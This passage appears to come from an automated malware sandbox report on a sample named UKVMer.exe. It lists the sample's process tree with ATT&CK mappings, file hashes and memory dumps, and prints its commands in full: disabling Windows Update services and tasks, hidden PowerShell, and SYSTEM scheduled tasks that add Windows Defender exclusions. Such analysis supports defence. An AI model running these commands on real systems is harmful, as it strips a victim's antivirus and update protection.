    icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:1640
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2228
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:916
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:456
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2104
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:5444
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1844
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3140
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:324
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1388
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3168
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4788
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:1212
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3492
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5364
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:868
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4588
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2492
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2932

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
1⤵
- System Location Discovery: System Language Discovery
PID:804

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 0 /f
1⤵
PID:1816
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5560

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
PID:4852
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:236

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
PID:2028
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5760

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
PID:4784
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:684

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
PID:1080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1756

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
1⤵
- System Location Discovery: System Language Discovery
PID:4244

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
1⤵
- System Location Discovery: System Language Discovery
PID:1936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
MD5 d0c46cad6c0778401e21910bd6b56b70
SHA1 7be418951ea96326aca445b8dfe449b2bfa0dca6
SHA512 057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 84f1bfd047421fa6113df6eef3c3204fb41dbbe9f706be2052783cca3ccf6a0a
MD5 b293c2144b7755a30e0ad2d0df839e9e
SHA1 dbb6c375b03961228fc5743752d8c67765dd8ddf
SHA512 eb5958ab756b4ea434f9018d7961919e7e55c0076e6807b0744bf95f51064b02ebd993ec07f36d76bb6d83d1484048180330315b3af687577759826b1ccf472d
SSDEEP 384:jL3HT71S1UCChkAehZLFRHEMEuHnnNnjs2fCEyuKoSx9TlsahDcXvHnbQ:XX1SCf3ebpRPEONnj7fCPuKxx9TlzKXM
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_01mlu05o.cq3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_01mlu05o.cq3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/804-28-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/804-27-0x0000000001060000-0x0000000001061000-memory.dmp

Download

memory/804-38-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/804-31-0x0000000074831000-0x0000000074844000-memory.dmp

Download

memory/1936-108-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/1936-107-0x0000000001950000-0x0000000001951000-memory.dmp

Download

memory/2104-83-0x000000006EEF0000-0x000000006EF3C000-memory.dmp

Download

memory/4244-104-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/4244-103-0x0000000001690000-0x0000000001691000-memory.dmp

Download

memory/5084-92-0x0000000007840000-0x0000000007851000-memory.dmp

Download

memory/5084-67-0x0000000007290000-0x00000000072C4000-memory.dmp

Download

memory/5084-96-0x0000000007970000-0x0000000007978000-memory.dmp

Download

memory/5084-95-0x0000000007980000-0x000000000799A000-memory.dmp

Download

memory/5084-58-0x0000000006310000-0x000000000635C000-memory.dmp

Download

memory/5084-94-0x0000000007880000-0x0000000007895000-memory.dmp

Download

memory/5084-57-0x00000000062D0000-0x00000000062EE000-memory.dmp

Download

memory/5084-43-0x0000000002AE0000-0x0000000002B16000-memory.dmp

Download

memory/5084-44-0x00000000055C0000-0x0000000005BEA000-memory.dmp

Download

memory/5084-45-0x0000000005440000-0x0000000005462000-memory.dmp

Download

memory/5084-46-0x0000000005D60000-0x0000000005DC6000-memory.dmp

Download

memory/5084-47-0x0000000005DD0000-0x0000000005E36000-memory.dmp

Download

memory/5084-93-0x0000000007870000-0x000000000787E000-memory.dmp

Download

memory/5084-56-0x0000000005E40000-0x0000000006197000-memory.dmp

Download

memory/5084-82-0x00000000078C0000-0x0000000007956000-memory.dmp

Download

memory/5084-81-0x00000000076B0000-0x00000000076BA000-memory.dmp

Download

memory/5084-68-0x000000006EEF0000-0x000000006EF3C000-memory.dmp

Download

memory/5084-80-0x0000000007630000-0x000000000764A000-memory.dmp

Download

memory/5084-77-0x00000000074D0000-0x00000000074EE000-memory.dmp

Download

memory/5084-78-0x00000000074F0000-0x0000000007594000-memory.dmp

Download

memory/5084-79-0x0000000007C70000-0x00000000082EA000-memory.dmp

Download

memory/5604-37-0x0000000002FC0000-0x0000000003724000-memory.dmp

Download

memory/5604-2-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/5604-22-0x00000000038B0000-0x00000000038C4000-memory.dmp

Download

memory/5604-21-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/5604-6-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/5604-5-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/5604-32-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/5604-23-0x0000000074830000-0x0000000074F60000-memory.dmp

Download

memory/5604-0-0x000000007484D000-0x0000000074AC6000-memory.dmp

Download

memory/5604-1-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

Download

memory/5604-26-0x000000007484D000-0x0000000074AC6000-memory.dmp

Download

memory/5604-14-0x0000000002FC0000-0x0000000003724000-memory.dmp

Download

memory/5604-10-0x0000000000DF0000-0x0000000000DF1000-memory.dmp

Download

memory/5604-11-0x0000000002FC0000-0x0000000003724000-memory.dmp

Download

memory/5604-7-0x0000000002FC0000-0x0000000003724000-memory.dmp

Download